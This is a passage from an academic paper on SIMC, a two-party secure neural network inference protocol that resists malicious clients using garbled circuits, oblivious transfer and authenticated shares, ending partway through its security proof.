Prior work by Lehmkuhl et al. [32] (refererred to as MUSE)
argued that while in deployments it might be reasonable to
assume that a server hosting the ML model is semi-honest, it
is far less likely that all thousands of clients would be semi-
honest. This is because while the server is a fixed, typically
reputed entity – the model owner, the client could be any arbi-
tray entity. MUSE showed that if a client behaved maliciously
(i.e., deviates from protocol specification) in such semi-honest
secure inference protocols, then it can completely break the
privacy of server’s input. Formally, they develop a model ex-
traction attack against state-of-the-art semi-honest protocols
that enables a malicious client to learn all the weights of the
model in far less number of inference queries compared to
best black-box model extraction attack [10]. While this at-
tack can be thwarted in theory by using 2PC protocols secure
against malicious adversaries [15, 18, 27, 28], the overhead
of doing so is exorbitant. To address this gap between ex-
isting works in literature and practice, MUSE proposed the
client-malicious threat model, where the clients are allowed
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to behave malciously, and the server is still assumed to be
semi-honest. In this model, MUSE built a system for secure
inference with much lower overheads than those that protect
against both malicious servers and clients. However, the con-
crete communication and computational cost of MUSE leaves
much to be desired and are still roughly 15× larger than a
similar semi-honest system DELPHI [35] supporting arbitrary
activation functions that MUSE builds on.

1.1 Our Contribution

In this work, we present SIMC1 - a new secure neural network
inference system that is secure in the client malicious model
and is at least an order of magnitude more performant than
prior state-of-the-art, MUSE.

Neural networks consist of 2 types of layers or functions -
linear layers (that include functions such as matrix multipli-
cation, convolutions and so on) and non-linear layers (that
include functions such as ReLU, ReLU6, Maxpool and so on).
In the benchmarks considered by MUSE, nearly 99% of the
communication overhead of MUSE (and roughly 80% of the
overall performance overhead) was due to the secure compu-
tation protocols for non-linear layers. At the core of SIMC is a
completely novel protocol for securely computing non-linear
layers that is even analytically significantly lighter weight
compared to MUSE in both compute and communication. As
we explain in Section 1.3, MUSE uses computationally heavy
leveled homomorphic encryption [8,19,20] as well communi-
cation heavy authenticated Beaver triples [15, 28] to realize
their non-linear layers. In contrast, SIMC uses cheap oblivi-
ous transfer and onetime pad encryptions to achieve the same
task. Similar to MUSE, our protocol supports computation of
arbitrary non-linear functions, is 28− 33× communication
frugal and upto 43× more performant than MUSE for popular
activation functions such as ReLU and ReLU6 (Section 5.2).

Next, we carefully design our protoocols for linear layers
and combine them with non-linear layer protocols using a
custom consistency check phase, to obtain end-to-end client
malicious security for secure inference tasks. On neural net-
work inference benchmarks considered in MUSE, SIMC is
23− 29× more communication efficient than MUSE and is
between 4.3−11.4× more performant than it. With all this,
we are even cheaper than DELPHI, the state-of-the-art in semi-
honest secure inference that supports arbitrary non-linear func-
tions, in both communication and runtime.

Finally, MUSE demonstrated how to split their protocols
into 2 phases - an offline, client-input independent phase,
and an online input-dependent phase. This split can be done
in such a way that > 99.6% of the cryptographic overhead
can be moved to the offline phase. We show how to modify
our protocols in a similar manner, at the cost of marginally
increasing our overall cost. This protocol, SIMC++ pushes
almost all cryptographic overhead into a preprocessing model,

1short for Secure Inference against Malicious Clients

and has an online phase identical to MUSE. Furthermore,
SIMC++’s preprocessing phase is 15−17× communication
frugal compared to MUSE and is upto 7.4× more performant.

1.2 Technical Overview

We describe our main technical ideas starting with setting
up necessary notation for secure inference and background
on authenticated shares and mixed arithmetic and boolean
computation. We provide a analytical comparison with the
state-of-the-art prior work MUSE [32] in Section 1.2.1 and
comparison of techniques later in Section 1.3 along with other
relevant works.
Notation. For ease of exposition, consider a neural network
(NN) with alternating linear and non-linear layers. Let the
specification of linear layers be M1, · · · ,M` and of non-linear
layers be f1, · · · , f`−1. Consider an input vector v0, with ele-
ments in Fp (let κ = dlog pe). Then, one needs to sequentially
compute si = Mivi−1 and vi = fi(si) for i ∈ {1, . . . , `− 1},
followed by s` = M`v`−1 = NN(v0). For the setting of se-
cure inference, as already discussed, the server (P0) holds
M1, · · · ,M` and the client (P1) holds v0.
Authentication. A long line of influential work [5,15,27,28]
on malicious secure computation for dishonest majority uses
information theoretic homomorphic MACs as follows: Parties
hold shares of a MAC key α∈ Fp. The protocol maintains the
invariant that parties start with authenticated shares of input
x ∈ Fp to an arithmetic gate (shares of x along with shares
of MAC on x, i.e., αx) and compute authenticated shares of
the output of the gate. These authentications, along with a
protocol specific consistency check at the end, ensure that any
malicious behavior is detected and the honest party aborts.
In the client malicious setting, as pointed by [32], the server
(semi-honest party) can pick the MAC key.
Mixed Computation. The main challenge for computations
such as NN inference is the use of mixed computation. In
more detail, linear layers such as matrix multiplications and
convolutions are best expressed as arithmetic circuits, and
non-linear activations such as ReLU, ReLU6, and Maxpool
are best expressed as boolean circuits. Applying standard
machinery for malicious security to mixed computation is
problematic and inefficient. For example, while switching
between authenticated shares (for arithmetic compute) and
garbled circuits (for boolean compute),one must ensure that
labels obtained by the (malicious) client correspond to the
correct authenticated share. Recent line of work [2,16,18,46]
considers such mixed-computation in the malicious setting
with dishonest majority. MUSE, by focusing on mixed com-
pute for the weaker client malicious setting, provides pro-
tocols that are much more efficient than standard malicious
secure protocols [28]. We now discuss our solution that out-
performs the prior work by atleast an order of magnitude, in
the client malicious setting.
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1.2.1 Our Protocol

We maintain the invariant that P0 and P1 hold authenticated
shares of s values that are components of the output vectors
of linear layers, then the shares of s are input to non-linear
layers. We first discuss how we realize non-linear layers in our
protocol where the challenge is to design a boolean-friendly
protocol for non-linear layers that ensures that a malicious
client feeds in the correct share of s, and that the output of
the non-linear layer is fed correctly into the subsequent linear
layer. This describes our main technical ideas; we follow this
by describing the computation of linear layers and finally the
consistency check phase.
Non-linear layers. We use standard semi-honest secure gar-
bled circuits to realize the non-linear layers and labels corre-
sponding to the client’s share are transferred using receiver
malicious oblivious transfer. Note that this step allows for a
malicious client to input arbitrarily values, and not necessarily
the outputs from the previous linear layer. Our main technical
idea to ensure security against a malicious client is to generate
a re-authentication on the input s and later verify the equality
of two independently generated authentications on s. Below,
we describe how we efficiently realize both parts.

We define our functionality for non-linear layers computing
a function f as follows: It takes shares of a value s from
P0 and P1 and returns shares of u = αs and authenticated
shares of v = f (s), i.e., shares of f (s) and α f (s). Note that
the previous linear layer already outputs authenticated shares
of s, i.e., shares of s and shares of t = αs. Hence, t and u are
MACs on the same s computed by consecutive linear and
non-linear layers, respectively. We check for their equality
during the final consistency check phase, which we describe
later. Now, realizing this functionality in a straightforward
manner using garbled circuits requires doing at least 2 field
multiplications within the circuit and is quite expensive. Note
that doing field multiplication inside a garbled circuit requires
O
(
κ2λ

)
communication.

To remedy this, we garble a circuit, that given shares of s,
only computes s and f (s) (and not their MACs). Now, one of
our key technical ideas is to effectively use the output labels
of the garbled circuit as one-time pad encryption keys to send
the appropriate shares of αs, f (s),α f (s) to the client. Security
of this step follows by the authenticity property of garbled
circuits (see Section 2.2.3). This requires only 6κ2 bits of
additional communication, where κ is the bitlength used. For
further details see Section 3.

Overall, our protocol only requires communication of ap-
proximately 2cλ + 4κλ + 6κ2, where c is the number of
AND gates required to reconstruct shares of s and compute
f (s). In contrast, MUSE required communication2 of at least
2dλ+190κλ+232κ2 where d > c is number of AND gates
required to reconstruct shares of s, compute f (s) and generate
shares of f (s). As an example, when computing the popular

2Constant factors are determined using existing implementation.

non-linear function ReLU(x) := max(x,0), with λ = 128 and
κ = 44, this results in our protocol being roughly 30× more
communication efficient than the corresponding protocol in
MUSE (see Section 5.2).
Linear Layers. We compute authenticated shares of si+1
from authenticated shares of vi = fi(si) using additively ho-
mormorphic encryption (AHE). Denote authentication on
vi as wi. To prevent P1 from inputing something different
from what it received from the previous non-linear layer, we
compute an additional tag zi = α3vi−α2wi, which is zero
if wi = αvi and non-zero otherwise for α 6= 0. We check for
zi = 0 in the final consistency check described below. As dis-
cussed in Section 4.1 and validated in Section 5, our cost for
linear layer is similar to MUSE.
Consistency check. Let ti and ui denote authentications on si
obtained from the ith linear and non-linear layers respectively.
Recall that zi is the tag output from linear layers. In this phase,
P0 and P1 compute a random linear combination of ti−ui and
zi and P0 checks that final result q evaluates to 0. We formally
show that if P1 deviates from the protocol, then q 6= 0 with
overwhelming probability. This proof crucially relies on the
structure of zi, that is, zi using high powers for α, to avoid
cancellation between different errors introduced by P1. This
phase is super lightweight.
Preprocessing Model. Plugging our novel protocols and cus-
tom consistency checks into the basic protocol design of
DELPHI/MUSE, we are able to push bulk of the cryptographic
cost of our protocol to an client input-independent preprocess-
ing phase. Our online phase has same cost as MUSE. For
details see Section 4.4.

1.3 Related Works

Since MUSE [32] is the only prior work on secure inference
in the client-malicious setting, we begin with a detailed com-
parison of techniques with MUSE pointing out their main
performance bottleneck. For non-linear layers, MUSE uses
a garbled circuit that takes shares of s as input and outputs
shares of f (s). Note that this circuit has higher number of
AND gates compared to the circuit used in SIMC. Next, they
provide specialized protocols to securely transfer the labels
corresponding to the client’s share of s when the correspond-
ing MAC is valid. This part of their protocol has the highest
complexity among all the building blocks used in MUSE. At
a high level, the parties do the following: for every bit of
client’s share for s, they run a secure multiplication protocol
where the parties learn the shares of the label. The server
sends its share of the label, only if the check on client’s input
and MACs succeed. This method, in addition to the garbled
circuit communication, requires communication of at least
188λκ+232κ2 for each s, for security parameter λ. Further-
more, this step is computationally heavy and corresponds to
bulk of the compute cost of non-linear layers due to the use of
homomorphic encryption (to generate (λ+κ) authenticated
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Beaver triples per s value). We provide an extensive empirical
comparison with MUSE in Section 5.

We note that the works of [2,16,18,46] study mixed compu-
tation and provide malicious security in the dishonest majority
setting. [53] discusses secure inference in the zero knowledge
setting. All these works use boolean MACs as a building
block for authenticated boolean computation and hence incur
higher cost than SIMC. In our protocol, to provide security
against a malicious client we do not use any building block
for authenticated boolean computation and instead leverage
the authenticity (of the semi-honest secure) garbled circuits
to detect a cheating client, thus avoiding boolean MACs. Our
techniques differ in this fundamental way.

Many prior works also consider secure inference in the hon-
est majority setting [7,13,30,36,44,50,51], or rely on trusted
hardware [38, 49]. In this work, we focus on the stronger
threat model of 2PC and provide formal cryptographic secu-
rity guarantees. Other works include those that considered
malicious adversaries [12, 23, 57] (for simpler ML models
like linear models, regression, and polynomials) as well as
specialized DNNs with 1 or 2 bit weights [1, 43, 47].

1.4 Organisation
We begin by describing the various cryptographic building
blocks used by our protocol and the threat model in Section 2.
Section 3 presents our novel protocol for non-linear functions
along with its security proof. In Section 4, we describe how
to securely compute linear layers as well as our end-to-end
protocol for secure inference and its proof. In the same section
we provide details of our secure inference protocol in the
preprocessing model. We provide implementation details and
empirical results in Section 5. We conclude in Section 6.

2 Threat Model and Building Blocks

2.1 Threat Model and Security
Threat Model. We consider the two party setting with a
server P0 and a client P1. The adversary can corrupt the server,
but is restricted to be semi-honest, i.e., is guaranteed to follow
the protocol specification. Or, the adversary can corrupt the
client and can behave maliciously, i.e., is allowed to deviate
from the protocol arbitrarily. The network architecture is as-
sumed to be known to both P0 and P1. Our goal is to design
a protocol that allows the client to learn the inference result
on the model owned by the server; the client must learn no
other information and the server must learn no information
through this interaction. Our formal definition, provided for
completeness in Appendix B captures this.
Hybrid Model. Our protocols sometimes invoke multiple
sub-protocols and we describe these using the hybrid model.
This is similar to a real interaction, except that sub-protocols
are replaced by the invocations of instances of corresponding

functionalities. A protocol invoking a functionality F is said
to be in “F -hybrid model.”

2.2 Building Blocks
Notation. λ is the computational security parameter. σ is
the statistical security parameter. For n > 0, [n] denotes the
set {1,2, · · · ,n}. In this paper, all arithmetic additions and
multiplications are over a field Fp, where p is a prime and
κ = dlog pe. We assume natural mapping of elements in Fp
to {0,1}κ and a[i] denotes the ith bit of this map for a ∈ Fp
(i.e a = ∑i∈[κ] a[i] ·2i−1). For two vectors a and b, a+b repre-
sents their component wise addition. For an element α ∈ Fp
and a vector a over Fp, α+ a and αa denote addition and
multiplication of each component in a with α respectively.
Inner product of vectors a and b is denoted by a∗b. For any
function f : Fp→ Fp, f (a) denotes evaluation of f on each
component of a. We use a similar notation for functionalities
and F (a) denotes invocation of F on each component of a.
a||b denotes concatenation of a and b. We denote uniform
distribution on the set {0,1}n by Un for any n > 0. For any
two distributions A and B, A ≈ B denotes computational in-
distinguishability of A and B.
Additive Secret Sharing. For x ∈ Fp, 〈x〉0 ∈ Fp and 〈x〉1 ∈
Fp denote additive shares of x, i.e., x = (〈x〉0 + 〈x〉1) mod p.
Authenticated Shares [15]. For α ∈ Fp chosen uniformly
at random (known as the MAC key) and any x ∈ Fp, au-
thenticated shares of x on α denote that Pb holds the shares
〈x〉b and 〈αx〉b for b ∈ {0,1}. While fully malicious proto-
cols [15, 27, 28] require α to be uniform and secret shared
amongst all participating parties, in our client malicious set-
ting, similar to [32], we have P0 pick α. Note that these au-
thenticated shares offer blog pc-bit statistical security, which
means the probability that a malicious P1 forges the shared
value x to x + δ (by tampering the shares (〈x〉1,〈αx〉1) to
(〈x〉1 + δ,〈αx〉1 + δ′) for a non-zero (δ,δ′) ∈ F2

p) such that
the shares are authenticated on x+δ (i.e (αx+δ′) =α(x+δ))
is atmost 2−blog pc.

2.2.1 Additive Homomorphic Encryption

An additive homomorphic encryption scheme [17, 39, 45]
AHE = (KeyGen,Enc,Dec,Eval) is a public key encryption
scheme that additionally supports linear homomorphic opera-
tions on the ciphertexts. We use Fp as the message space.

• KeyGen→ (pk,sk). KeyGen is a randomised algorithm that
samples a public key pk and a corresponding secret key sk.

• Enc(pk,m)→ c. Enc takes a public key pk and a message
m ∈ Fp to output a ciphertext c.

• Dec(sk,c)→ m. Dec takes a secret key sk and a ciphertext
c to output the message m encrypted in c.

• Eval(pk,c1,c2,L)→ c′. Eval takes a public key pk and two
ciphertexts c1 and c2 encrypting messages m1,m2 ∈ Fp and
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a linear function L3 to output a ciphertext c′ encrypting
L(m1,m2).

We require AHE to satisfy correctness, semantic security and
additive homomorphism along with function privacy4. Con-
cretely, we use the SEAL library [48] that implements the
more versatile fully homomorphic scheme [20] from [8, 19].

2.2.2 Oblivious Transfer

The oblivious transfer (OT) functionality [40] over strings
of length n, denoted by OTn, takes as input s0,s1 ∈ {0,1}n

from P0 (the sender) and a choice bit c ∈ {0,1} from P1 (the
receiver) and outputs sc to P1. We require instantiation of OTn
that is secure against a semi-honest sender and a malicious
receiver. Finally, we use OTk

n to denote k instances of OTn.
We use the instantiation from [26] that has communication
complexity of k(λ+2n)-bits.

2.2.3 Garbled Circuits

A garbling scheme for boolean circuits [4, 55] consists of a
pair of algorithms (Garble,GCEval) defined as:

• Garble(1λ,C) → (GC,{{labin
i, j}i∈[n],{labout

j }} j∈{0,1}).
Garble on input the security parameter λ and a boolean
circuit C : {0,1}n → {0,1} outputs a garbled circuit
GC, a collection of input labels {labin

i, j}i∈[n], j∈{0,1} and a
collection of output labels {labout

j } j∈{0,1} where each label
is of λ-bits. For any x ∈ {0,1}n, the labels {labin

i,x[i]}i∈[n] are
referred to as the garbled input for x and the label labout

C(x) is
referred to as the garbled output for C(x).

• GCEval(GC,{labi}i∈[n])→ lab′. GCEval on input a garbled
circuit GC and a set of labels {labi}i∈[n] outputs a label lab′.

and is required to satisfy the following properties. Let
Garble(1λ,C)→ (GC,{{labin

i, j}i∈[n],{labout
j }} j∈{0,1}).

• Correctness is the guarantee that evaluation of GCEval on
GC and garbled input of x gives the garbled output for C(x).
Formally, for any circuit C and x ∈ {0,1}n, it holds that
GCEval(GC,{labin

i,x[i]}i∈[n]) = labout
C(x).

• Security is the guarantee that GC and garbled input for
any x is simulatable given C. Formally, there exists a sim-
ulator Sim such that for any circuit C and x ∈ {0,1}n,
(GC,{labin

i,x[i]}i∈[n])≈ GCSim(1λ,C).

• Authenticity implies that given GC and a garbled input
of x, it is infeasible to guess the output label for 1−
C(x). Formally, for any circuit C and any x, it holds that(

labout
(1−C(x))

∣∣∣GC,{labin
i,x[i]}i∈[n]

)
≈Uλ.

3L maps (m1,m2) to am1 +m2 for some a ∈ Fp
4Function privacy informally guarantees that a ciphertext c encrypting a

share of L(m1,m2), obtained as a result of homomorphically computing L, is
indistinguishable from a ciphertext encrypting a share of L′(m1,m2), for any
other L′, even given sk.

Note that this definition naturally extends to boolean
circuits with multi-bit outputs. Garbling scheme instantiations
use two labels {labw,0, labw,1} for every wire w in C and the
initial constructions of garbled circuit comprises of a set of
four ciphertexts for each gate in C, one for each pair of input
wire labels. Our protocols use the instantiation of garbling
schemes with point-and-permute described below.
Point-and-permute [3]: Consider any gate g in C. Given
a label for each input wire of g, earlier instantiations of
garbled circuits required to decrypt all the four ciphertexts
(using the labels as keys) during the evaluation, to obtain
a label for the output wire of g. For every wire w in C,
the point-and-permute optimization allows to choose a
permutation bit b and for j ∈ {0,1}, the bit b⊕ j is prepended
to labw, j. The four ciphertexts of g are then cleverly permuted
according to the permutation bits of g’s input wires such that
given a label for each input wire of the gate the ciphertext
to be decrypted is uniquely pointed. The property that we
use from point-and-permute is that, for all the wires, the
exclusive-or of the first bits of the two labels is 1.
We use the state-of-the-art constructions of garbled circuits
that use point-and-permute and other optimizations such as
free-XOR [29] and half-gates [56]. For these instantiations,
the size of the garbled ciruit is 2cλ, where c is the number of
AND gates in the circuit C, that is being garbled.

Secure computation using garbled circuits. As back-
ground, we provide high-level description on how garbled
circuits along with OTs are typically used for 2-party secure
computation [55]. A semi-honest P0 and a malicious P1 with
inputs x and y respectively, can securely evaluate5 any boolean
circuit C on these inputs to learn C(x,y) as follows. P0 garbles
the circuit C to learn a garbled circuit GC and a collection
of input and output labels. Then, both the parties invoke the
OT functionality, where the server (acting as the sender) in-
puts the collection of input labels corresponding to the input
wires of P1 and P1(acting as the receiver) inputs y to learn the
garbled input for y. P0 additionally sends to P1 the garbled
input for x, GC and a pair of ciphertexts for every output wire
w (of C) encrypting the bits 0 and 1 using the labels labw,0
and labw,1 respectively, as encryption keys. P1 evaluates the
garbled circuit using the garbled inputs for (x,y) to learn the
garbled output for C(x,y). From this garbled output and the
pair of ciphertexts given for each output wire P1 learns C(x,y).
P1 sends C(x,y) along with the (hash of) garbled output to P0
who would accept C(x,y) upon verifying that the (hash of)
garbled output sent by P1 corresponds to C(x,y).

3 Nonlinear Functions

We begin by formally describing the functionality F f
Non-lin

for non-linear layers in Figure 1 required by our protocol

5See Appendix B for formal interpretation of secure evaluation.
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for secure inference in Section 4.2. For ease of exposition,
we first consider elementary or single-input functions, i.e.,
the functionality is parameterized by a function f : Fp→ Fp
and defer the discussion on multi-input functions such as
Maxpool to Remark 3.1. F f

Non-lin takes shares of s ∈ Fp from
P0 and P1 and a MAC key α (also in Fp) from P0 as input. It
outputs authenticated shares of f (s) (i.e., shares of f (s) and
α f (s)), along with the shares of authentication on s (i.e. αs)
to both parties.

Function f : Fp→ Fp.
Input: P0 sends 〈s〉0,α ∈ Fp. P1 sends 〈s〉1 ∈ Fp.
Output: Pb learns 〈αs〉b,〈 f (s)〉b,〈α f (s)〉b for b ∈
{0,1}.

Figure 1: Functionality F f
Non-lin.

The above functionality can be realized naïvely using gar-
bled circuits. In slightly more detail, P0 can create a garbled
circuit that computes the above functionality - i.e., recon-
structs s from its shares, computes αs, f (s),α f (s), and out-
puts shares of these values to P0 and P1 respectively. However,
this approach has the drawback that field multiplication (while
computing α f (s) and αs) must be performed within the gar-
bled circuit. Field multiplication would require roughly κ2

AND gates and hence, this would lead to a protocol with high
communication. In our protocol that realizes this functionality,
described in the following subsection, we show how to avoid
performing field multiplications within the garbled circuit and
consequently, how to obtain a protocol with much lower cost.
Moreover, our technique is also more efficient in generating
additive shares of f (s) after computing f (s).

3.1 Protocol

Our protocol proceeds in three main phases - Garbled Circuit
phase, Authentication phase, and Local Computation phase.
Below, we provide a high level overview of our protocol.
Recall that P0 inputs (〈s〉0, α) and P1 inputs 〈s〉1.

• Garbled Circuit phase. The goal of this phase is for P0 to
hold a pair of “labels” for each bit of s and f (s) and P1 to
learn the “correct labels" depending on the value of the bits
of s and f (s). To enable this, P0 creates a garbled circuit
for the boolean circuit Comp f – this circuit takes shares of
a ∈ Fp, reconstructs a and outputs (a, f (a)). Recall that a
garbled circuit has 2 output labels encoded in it for each
of the output bits, which in this case are the bits of a and
f (a). P1 evaluates this garbled circuit on 〈s〉0 and 〈s〉1 after
learning the correct input labels using an OT protocol. After
this phase, P1 learns the set of output labels corresponding
to the bits of s and f (s).

• Authentication phase. We make two observations. First,
“output labels” of a garbled circuit can be used as one-time
pads for encryption6. Second, to compute shares of αs, it
suffices to compute shares of α(s[i]) (written shortly as
αs[i]) for every bit s[i] of s (a similar observation holds
for computing α f (s) and hence we focus the rest of this
discussion on computing shares of αs). Now, shares of αs[i]
are either shares of 0 or α depending on whether s[i] is 0
or 1. Recall that the garbled circuit used in the previous
phase had 2 output labels corresponding to every s[i] (one
each for s[i] = 0 and 1); we denote these labels by labout

i,0
and labout

i,1 for s[i] = 0 and s[i] = 1, respectively. Now, to
compute shares of αs[i], P0 picks a random νi ∈ Fp and
“encrypts” νi with labout

i,0 and νi +α with labout
i,1 . P0 sends

these 2 ciphertexts to P1. P0 sets it’s share of αs[i] as −νi.
Now, since from the first phase P1 received labout

i,s[i], P1 can
decrypt exactly one of these 2 ciphertexts7 and learn its
share of αs[i]. Computation of α f (s)[i] values for every i
are done in a similar manner using the output labels for f (s).
We use a similar logic to compute shares of f (s)[i] using
output labels for f (s).

• Local Computation phase. As the last step, the parties can
locally compute shares of αs, f (s) and α f (s) from shares
of {αs[i]}, f (s)[i] and {α f (s)[i]} as follows: Each party
locally multiplies the share of αs[i] with 2i−1 and sums all
the resultant values to obtain share of αs. The other outputs
are computed in a similar manner.

We describe our protocol for realising F f
Non-lin formally in

Figure 2. Note that our protocol only incurs additional com-
munication of 6κ2 bits (as ciphertexts) in addition to garbled
circuits and has much lower communication compared to the
naïve approach. For comparison of our non-linear layers with
MUSE, refer to Section 1.2 for (rough) asymptotic compar-
ison and Section 5.2 for concrete comparison of cost (both
communication and runtime).

Remark 3.1 (Multi-input non-linear functions). Our tech-
niques extend easily for non-elementary functions, i.e., func-
tions that take multiple inputs and produce one or more out-
puts, such as Maxpool. For this, our garbled circuit will take
shares of all inputs {s1, . . . ,sk} to f and output the recon-
structed input values {s1, . . . ,sk} and f (s1, . . . ,sk). We gener-
ate authentications on both of these using exactly the same
ideas. Moreover, when the Maxpool windows are overlap-
ping, we create a big garbled circuit for the entire non-linear
layer so that our cost is linear in input size and output size
(instead of input-size×filter-size).

6Strictly speaking, in order to be compatible with the point-and-permute
optimization, the label is parsed as two components and a part of it is can be
used as a one-time pad.

7We make use of the point-and-permute optimization to determine which
of the two ciphertexts should be decrypted by P1.
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Preamble: The function f is such that f : Fp→ Fp. Consider a boolean circuit Comp f that takes additive shares of a ∈ Fp,
i.e., 〈a〉0,〈a〉1 ∈ Fp, as input and outputs (a, f (a)). Let Trimn : {0,1}λ→{0,1}n be a function that outputs the last n bits
of input.
Input: P0 inputs 〈s〉0 ∈ Fn

p and α ∈ Fp. P1 inputs 〈s〉1 ∈ Fn
p.

Output: Pb learns 〈αs〉b,〈 f (s)〉b,〈α f (s)〉b for b ∈ {0,1}.
Protocol:

1. Garbled Circuit Phase:
• P0 computes (GC,{{labin

i, j}i∈[2κ],{labout
i, j }i∈[2κ]} j∈{0,1})← Garble(1λ,Comp f )

• P0 and P1 invoke OTκ

λ
where P0 is the sender and P1 is the receiver with inputs {labin

i,0, labin
i,1}i∈{κ+1,··· ,2κ} and 〈s〉1,

respectively. P1 learns {l̃ab
in

i }i∈{κ+1,··· ,2κ}. P0 sends GC and {l̃ab
in

i = labin
i,〈s〉0[i]}i∈[κ] to P1.

• P1 computes {l̃ab
out

i }i∈[2κ]← GCEval(GC,{l̃ab
in

i }i∈[2κ])

2. Authentication Phase:
• For i ∈ [κ], P0 chooses ηi,0,δi,0,νi,0 ∈R Fp and sets (ηi,1,δi,1,νi,1) = (1+ηi,0,α+δi,0,α+νi,0).

• For i ∈ [2κ] and j ∈ {0,1}, P0 parses labout
i, j as pi, j||ki, j where pi, j ∈ {0,1} and ki, j ∈ {0,1}λ−1.

• For i ∈ [κ], j ∈ {0,1}, P0 sends cti,pi, j = νi, j⊕Trimκ(ki, j) and ĉti,pi+κ, j = (ηi, j||δi, j)⊕Trim2κ(ki+κ, j).

• For i ∈ [2κ], P1 parses l̃ab
out

i as p̃i||k̃i where p̃i ∈ {0,1} and k̃i ∈ {0,1}λ−1.
• For i ∈ [κ], P1 computes ci = cti,p̃i ⊕Trimκ(k̃i) and (di||ei) = ĉti,p̃i+κ

⊕Trim2κ(k̃i+κ).

3. Local Computation Phase:
• P0 outputs 〈z1〉0 =

(
−∑i∈[κ] νi,02i−1

)
, 〈z2〉0 =

(
−∑i∈[κ] ηi,02i−1

)
and 〈z3〉0 =

(
−∑i∈[κ] δi,02i−1

)
.

• P1 outputs 〈z1〉1 =
(
∑i∈[κ] ci2i−1

)
, 〈z2〉1 =

(
∑i∈[κ] di2i−1

)
and 〈z3〉1 =

(
∑i∈[κ] ei2i−1

)
.

Figure 2: Protocol π
f
Non-lin

Remark 3.2. Note that in Step 2 of our protocol, P0 uses
(parts of) output labels of garbled circuit (i.e., λ-bit strings)
to one-time pad values of length κ bits and 2κ bits. For our
benchmarks, it holds that λ > 2κ. In case this condition is not
met, i.e., λ < 2κ, P0 first applies a pseudorandom generator
(PRG) to the output label to expand it to an appropriate length
string and then uses the PRG output as an one-time pad.

Remark 3.3 (Checking well-formedness of client input).
Note that a malicious client can input a value x ∈ {0,1}κ

such that x /∈ Fp as its share of the input to Comp f . In our
implementation, the garbled circuit first checks if x < p and
outputs a label corresponding to this bit. In the end of evalua-
tion phase of our main protocol, the client will send a hash of
all such labels to the server, who will check that it is equal to
the hash of labels corresponding to the bit 1. This will be a
part of the consistency check phase (see Section 4.2).

Remark 3.4 (Optimization for semi-honest setting). Our
novel method for generating shares of f (s) is beneficial even
for semi-honest secure inference. All prior works [24, 34, 35]
generated arithmetic shares of f (s) within the garbled circuit.
When working over prime fields, this computation requires at
least 3κ additional AND gates, and hence, 6κλ bits of com-
munication. Our method for generating shares of f (s) using
garbled circuit output labels requires sending only 2κ encryp-

tions of length κ bits each. For κ = 44, λ = 128, our method
gives roughly 9× lower communication for generating shares
of f (s) from f (s).

Theorem 1. Let (Garble,GCEval) be a garbling scheme for
boolean circuits satisfying the properties defined in Section
2.2.3. Then, the protocol π

f
Non-lin (in Figure 2) securely real-

izes the functionality F f
Non-lin in the OTκ

λ
-hybrid model against

a malicious client (P1) and a semi-honest server (P0).

Proof. We first prove correctness of the protocol followed by
security.
Correctness. By correctness of OTκ

λ
, for all i ∈ {κ +

1, · · · ,2κ}, l̃ab
in

i = labin
i,〈s〉1[i]. Using l̃ab

in

i = labin
i,〈s〉0[i] for

i ∈ [κ] and correctness of (Garble,GCEval) for Comp f , it
holds that l̃ab

out

i = labout
i,s[i] and l̃ab

out

i+κ = labout
i+κ, f (s)[i], for

i ∈ [κ]. Therefore, p̃i||k̃i = (pi,s[i]||ki,s[i]) and p̃i+κ||k̃i+κ =
(pi+κ, f (s)[i]||ki+κ, f (s)[i]) for i ∈ [κ]. Using this we get, for
each i ∈ [κ] it holds that ci = cti,pi,s[i] ⊕ Trimκ(ki,s[i]) =

νi,s[i] and (di||ei) = ĉti,pi+κ, f (s)[i] ⊕ Trim2κ(ki+κ, f (s)[i]) =

(ηi, f (s)[i]||δi, f (s)[i]). With this, we have:
• z1 = ∑i∈[κ](ci−νi,0)2i−1 = ∑i∈[κ] α(s[i])2i−1 = αs

• z2 = ∑i∈[κ](di−ηi,0)2i−1 = ∑i∈[κ] f (s)[i]2i−1 = f (s)
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• z3 = ∑i∈[κ](ei−δi,0)2i−1 = ∑i∈[κ] α( f (s)[i])2i−1 = α f (s).

This concludes the correctness proof.
Security. Security of π

f
Non-lin against any semi-honest adver-

sary A controlling the server P0 is immediate from the proto-
col description. This is because P0 gets no output from OTκ

λ

and receives no message from P1. Now, we prove security
against any malicious adversary A controlling P1.

Claim 1. Let (Garble,GCEval) be a garbling scheme with the
properties defined in Section 2.2.3. Then, in the OTκ

λ
-hybrid

model, π
f
Non-lin is secure against any malicious adversary A

corrupting the client P1.

Proof. Let Real denote the protocol execution π
f
Non-lin

between P0 and an adversarially controlled P1. We argue
simulation based security against a malicious P1, i.e., we will
show that the view of A in Real is indistinguishable from the
view of A in a simulated execution Sim via a standard hybrid
argument. In particular, we define two intermediate hybrid
executions Hyb1 and Hyb2 and argue indistinguishability of
the views of the adversary in consecutive executions.

Hybrid execution Hyb1: Hyb1 is identical to Real except in

the authentication phase, where S uses the labels l̂ab
out

i, j (in-

stead of labout
i, j used in Real) where l̂ab

out

i, j is defined as fol-
lows. Note that S in Hyb1 has access to honest P0’s inputs 〈s〉0
and α. Define s = 〈s〉0 + 〈s〉1. For t = (s|| f (s)) and i ∈ [2κ],
if j = t[i], l̂ab

out

i, j = labout
i, j , else (the “other” label) l̂ab

out

i,1−t[i]

is chosen uniformly from {0,1}λ such that the first bit8 is
1− pi,t[i]. The formal description of Hyb1 is provided below.
The indistinguishability of views of A in Real and Hyb1 exe-
cutions directly follows from the authenticity of the garbled
circuit (Section 2.2.3).

1. S receives 〈s〉1 from A as its input to OTκ

λ
.

2. Garbled Circuit Phase:

• S computes (GC,{{labin
i, j}i∈[2κ],{labout

i, j }i∈[2κ]} j∈{0,1})←

Garble(1λ,Comp f ) and sends {l̃ab
in

i+κ =
labin

i+κ,〈s〉1[i]}i∈[κ] to A as the output of OTκ

λ
. It

also sends GC and {l̃ab
in

i = labin
i,〈s〉0[i]}i∈[κ] to A .

3. Authentication Phase:

• S sets t = (s|| f (s)).

• For i ∈ [2κ], S sets l̂ab
out

i,t[i] = labout
i,t[i].

• For i ∈ [2κ], S samples l̂ab
out

i,1−t[i] ∈R {0,1}λ such that

first bit of l̂ab
out

i,1−t[i] equals 1− pi,t[i]

8This restriction on the first bit is done, so as to be consistent with the
point and permute optimization. Recall that for any i ∈ [2κ], pi,0⊕ pi,1 = 1.

• S computes and sends {cti, j, ĉti, j}i∈[κ], j∈{0,1} to A using

{l̂ab
out

